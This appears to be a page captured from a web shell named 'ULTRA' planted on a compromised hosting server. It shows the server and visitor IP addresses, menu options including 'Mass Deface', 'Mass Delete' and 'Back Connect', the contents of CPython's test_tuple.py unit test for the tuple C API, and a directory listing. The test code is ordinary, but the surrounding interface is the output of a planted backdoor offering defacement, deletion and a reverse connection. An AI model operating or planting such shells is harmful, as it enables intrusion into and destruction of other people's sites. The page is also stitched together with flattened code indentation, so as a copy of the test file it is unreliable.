ULTRA [ www.resource.optimyar.com ]

Linux uranus.pws-dns.net 5.14.0-427.42.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Nov 1 14:58:02 EDT 2024 x86_64

LiteSpeed

31.214.174.197 | Your IP: 216.73.216.79

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ proc / thread-self / root / opt / alt / python312 / lib64 / python3.12 / test / test_capi /

Home Upload Mass Deface Mass Delete Back Connect Notify

test_tuple.py

import unittest
import sys
from collections import namedtuple
from test.support import import_helper

_testcapi = import_helper.import_module('_testcapi')
_testlimitedcapi = _testcapi

NULL = None
PY_SSIZE_T_MIN = _testcapi.PY_SSIZE_T_MIN
PY_SSIZE_T_MAX = _testcapi.PY_SSIZE_T_MAX

class TupleSubclass(tuple):
    pass

class CAPITest(unittest.TestCase):
    def test_check(self):
        # Test PyTuple_Check()
        check = _testlimitedcapi.tuple_check

self.assertTrue(check((1, 2)))
        self.assertTrue(check(()))
        self.assertTrue(check(TupleSubclass((1, 2))))
        self.assertFalse(check({1: 2}))
        self.assertFalse(check([1, 2]))
        self.assertFalse(check(42))
        self.assertFalse(check(object()))

# CRASHES check(NULL)

def test_tuple_checkexact(self):
        # Test PyTuple_CheckExact()
        check = _testlimitedcapi.tuple_checkexact

self.assertTrue(check((1, 2)))
        self.assertTrue(check(()))
        self.assertFalse(check(TupleSubclass((1, 2))))
        self.assertFalse(check({1: 2}))
        self.assertFalse(check([1, 2]))
        self.assertFalse(check(42))
        self.assertFalse(check(object()))

# CRASHES check(NULL)

def test_tuple_new(self):
        # Test PyTuple_New()
        tuple_new = _testlimitedcapi.tuple_new
        size = _testlimitedcapi.tuple_size
        checknull = _testcapi._check_tuple_item_is_NULL

tup1 = tuple_new(0)
        self.assertEqual(tup1, ())
        self.assertEqual(size(tup1), 0)
        self.assertIs(type(tup1), tuple)
        tup2 = tuple_new(1)
        self.assertIs(type(tup2), tuple)
        self.assertEqual(size(tup2), 1)
        self.assertIsNot(tup2, tup1)
        self.assertTrue(checknull(tup2, 0))

self.assertRaises(SystemError, tuple_new, -1)
        self.assertRaises(SystemError, tuple_new, PY_SSIZE_T_MIN)
        self.assertRaises(MemoryError, tuple_new, PY_SSIZE_T_MAX)

def test_tuple_pack(self):
        # Test PyTuple_Pack()
        pack = _testlimitedcapi.tuple_pack

self.assertEqual(pack(0), ())
        self.assertEqual(pack(1, [1]), ([1],))
        self.assertEqual(pack(2, [1], [2]), ([1], [2]))

self.assertRaises(SystemError, pack, PY_SSIZE_T_MIN)
        self.assertRaises(SystemError, pack, -1)
        self.assertRaises(MemoryError, pack, PY_SSIZE_T_MAX)

# CRASHES pack(1, NULL)
        # CRASHES pack(2, [1])

def test_tuple_size(self):
        # Test PyTuple_Size()
        size = _testlimitedcapi.tuple_size

self.assertEqual(size(()), 0)
        self.assertEqual(size((1, 2)), 2)
        self.assertEqual(size(TupleSubclass((1, 2))), 2)

self.assertRaises(SystemError, size, [])
        self.assertRaises(SystemError, size, 42)
        self.assertRaises(SystemError, size, object())

# CRASHES size(NULL)

def test_tuple_get_size(self):
        # Test PyTuple_GET_SIZE()
        size = _testcapi.tuple_get_size

self.assertEqual(size(()), 0)
        self.assertEqual(size((1, 2)), 2)
        self.assertEqual(size(TupleSubclass((1, 2))), 2)

def test_tuple_getitem(self):
        # Test PyTuple_GetItem()
        getitem = _testlimitedcapi.tuple_getitem

tup = ([1], [2], [3])
        self.assertEqual(getitem(tup, 0), [1])
        self.assertEqual(getitem(tup, 2), [3])

tup2 = TupleSubclass(([1], [2], [3]))
        self.assertEqual(getitem(tup2, 0), [1])
        self.assertEqual(getitem(tup2, 2), [3])

self.assertRaises(IndexError, getitem, tup, PY_SSIZE_T_MIN)
        self.assertRaises(IndexError, getitem, tup, -1)
        self.assertRaises(IndexError, getitem, tup, len(tup))
        self.assertRaises(IndexError, getitem, tup, PY_SSIZE_T_MAX)
        self.assertRaises(SystemError, getitem, [1, 2, 3], 1)
        self.assertRaises(SystemError, getitem, 42, 1)

# CRASHES getitem(NULL, 0)

def test_tuple_get_item(self):
        # Test PyTuple_GET_ITEM()
        get_item = _testcapi.tuple_get_item

tup = ([1], [2], [3])
        self.assertEqual(get_item(tup, 0), [1])
        self.assertEqual(get_item(tup, 2), [3])

tup2 = TupleSubclass(([1], [2], [3]))
        self.assertEqual(get_item(tup2, 0), [1])
        self.assertEqual(get_item(tup2, 2), [3])

# CRASHES get_item(NULL, 0)

def test_tuple_getslice(self):
        # Test PyTuple_GetSlice()
        getslice = _testlimitedcapi.tuple_getslice

# empty
        tup = ([1], [2], [3])
        self.assertEqual(getslice(tup, PY_SSIZE_T_MIN, 0), ())
        self.assertEqual(getslice(tup, -1, 0), ())
        self.assertEqual(getslice(tup, 3, PY_SSIZE_T_MAX), ())
        self.assertEqual(getslice(tup, 1, 1), ())
        self.assertEqual(getslice(tup, 2, 1), ())
        tup = TupleSubclass(([1], [2], [3]))
        self.assertEqual(getslice(tup, PY_SSIZE_T_MIN, 0), ())
        self.assertEqual(getslice(tup, -1, 0), ())
        self.assertEqual(getslice(tup, 3, PY_SSIZE_T_MAX), ())
        self.assertEqual(getslice(tup, 1, 1), ())
        self.assertEqual(getslice(tup, 2, 1), ())

# slice
        tup = ([1], [2], [3], [4])
        self.assertEqual(getslice(tup, 1, 3), ([2], [3]))
        tup = TupleSubclass(([1], [2], [3], [4]))
        self.assertEqual(getslice(tup, 1, 3), ([2], [3]))

# whole
        tup = ([1], [2], [3])
        self.assertEqual(getslice(tup, 0, 3), tup)
        self.assertEqual(getslice(tup, 0, 100), tup)
        self.assertEqual(getslice(tup, -100, 100), tup)
        tup = TupleSubclass(([1], [2], [3]))
        self.assertEqual(getslice(tup, 0, 3), tup)
        self.assertEqual(getslice(tup, 0, 100), tup)
        self.assertEqual(getslice(tup, -100, 100), tup)

self.assertRaises(SystemError, getslice, [[1], [2], [3]], 0, 0)
        self.assertRaises(SystemError, getslice, 42, 0, 0)

# CRASHES getslice(NULL, 0, 0)

def test_tuple_setitem(self):
        # Test PyTuple_SetItem()
        setitem = _testlimitedcapi.tuple_setitem
        checknull = _testcapi._check_tuple_item_is_NULL

tup = ([1], [2])
        self.assertEqual(setitem(tup, 0, []), ([], [2]))
        self.assertEqual(setitem(tup, 1, []), ([1], []))

tup2 = setitem(tup, 1, NULL)
        self.assertTrue(checknull(tup2, 1))

tup2 = TupleSubclass(([1], [2]))
        self.assertRaises(SystemError, setitem, tup2, 0, [])

self.assertRaises(IndexError, setitem, tup, PY_SSIZE_T_MIN, [])
        self.assertRaises(IndexError, setitem, tup, -1, [])
        self.assertRaises(IndexError, setitem, tup, len(tup), [])
        self.assertRaises(IndexError, setitem, tup, PY_SSIZE_T_MAX, [])
        self.assertRaises(SystemError, setitem, [1], 0, [])
        self.assertRaises(SystemError, setitem, 42, 0, [])

# CRASHES setitem(NULL, 0, [])

def test_tuple_set_item(self):
        # Test PyTuple_SET_ITEM()
        set_item = _testcapi.tuple_set_item
        checknull = _testcapi._check_tuple_item_is_NULL

tup = ([1], [2])
        self.assertEqual(set_item(tup, 0, []), ([], [2]))
        self.assertEqual(set_item(tup, 1, []), ([1], []))

tup2 = set_item(tup, 1, NULL)
        self.assertTrue(checknull(tup2, 1))

tup2 = TupleSubclass(([1], [2]))
        self.assertIs(set_item(tup2, 0, []), tup2)
        self.assertEqual(tup2, ([], [2]))

# CRASHES set_item(tup, -1, [])
        # CRASHES set_item(tup, len(tup), [])
        # CRASHES set_item([1], 0, [])
        # CRASHES set_item(NULL, 0, [])

def test__tuple_resize(self):
        # Test _PyTuple_Resize()
        resize = _testcapi._tuple_resize
        checknull = _testcapi._check_tuple_item_is_NULL

a = ()
        b = resize(a, 0, False)
        self.assertEqual(len(a), 0)
        self.assertEqual(len(b), 0)
        b = resize(a, 2, False)
        self.assertEqual(len(a), 0)
        self.assertEqual(len(b), 2)
        self.assertTrue(checknull(b, 0))
        self.assertTrue(checknull(b, 1))

a = ([1], [2], [3])
        b = resize(a, 3)
        self.assertEqual(b, a)
        b = resize(a, 2)
        self.assertEqual(b, a[:2])
        b = resize(a, 5)
        self.assertEqual(len(b), 5)
        self.assertEqual(b[:3], a)
        self.assertTrue(checknull(b, 3))
        self.assertTrue(checknull(b, 4))

a = ()
        self.assertRaises(MemoryError, resize, a, PY_SSIZE_T_MAX)
        self.assertRaises(SystemError, resize, a, -1)
        self.assertRaises(SystemError, resize, a, PY_SSIZE_T_MIN)
        # refcount > 1
        a = (1, 2, 3)
        self.assertRaises(SystemError, resize, a, 3, False)
        self.assertRaises(SystemError, resize, a, 0, False)
        # non-tuple
        self.assertRaises(SystemError, resize, [1, 2, 3], 0, False)
        self.assertRaises(SystemError, resize, NULL, 0, False)

if __name__ == "__main__":
    unittest.main()

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/linksafe	drwxr-xr-x	2025-06-29 12:11:24
..	dir	-	root/linksafe	drwxr-xr-x	2025-06-29 12:11:25
__pycache__	dir	-	root/linksafe	drwxr-xr-x	2025-06-29 12:11:24
__init__.py	text/x-script.python	142 B	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
__main__.py	text/plain	49 B	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
check_config.py	text/x-script.python	2.55 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_abstract.py	text/x-script.python	31.39 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_bytearray.py	text/x-script.python	6.55 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_bytes.py	text/x-script.python	9.43 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_codecs.py	text/x-script.python	27.62 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_complex.py	text/x-script.python	7.82 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_dict.py	text/x-script.python	14.06 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_eval.py	text/x-script.python	2.77 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_eval_code_ex.py	text/x-script.python	4.57 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_exceptions.py	text/x-script.python	16.04 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_file.py	text/x-script.python	7.68 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_float.py	text/x-script.python	6.35 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_getargs.py	text/x-script.python	58.07 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_immortal.py	text/x-script.python	362 B	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_import.py	text/x-script.python	12.87 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_list.py	text/x-script.python	9.95 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_long.py	text/x-script.python	13.35 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_mem.py	text/x-script.python	6.62 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_misc.py	text/x-script.python	88.11 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_number.py	text/x-script.python	14.38 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_run.py	text/plain	3.88 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_set.py	text/x-script.python	8.54 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_structmembers.py	text/x-script.python	6.2 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_sys.py	text/x-script.python	5.2 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_tuple.py	text/x-script.python	8.67 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_unicode.py	text/x-script.python	69.46 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56
test_watchers.py	text/x-script.python	19.19 KB	root/linksafe	-rw-r--r--	2025-06-23 02:36:56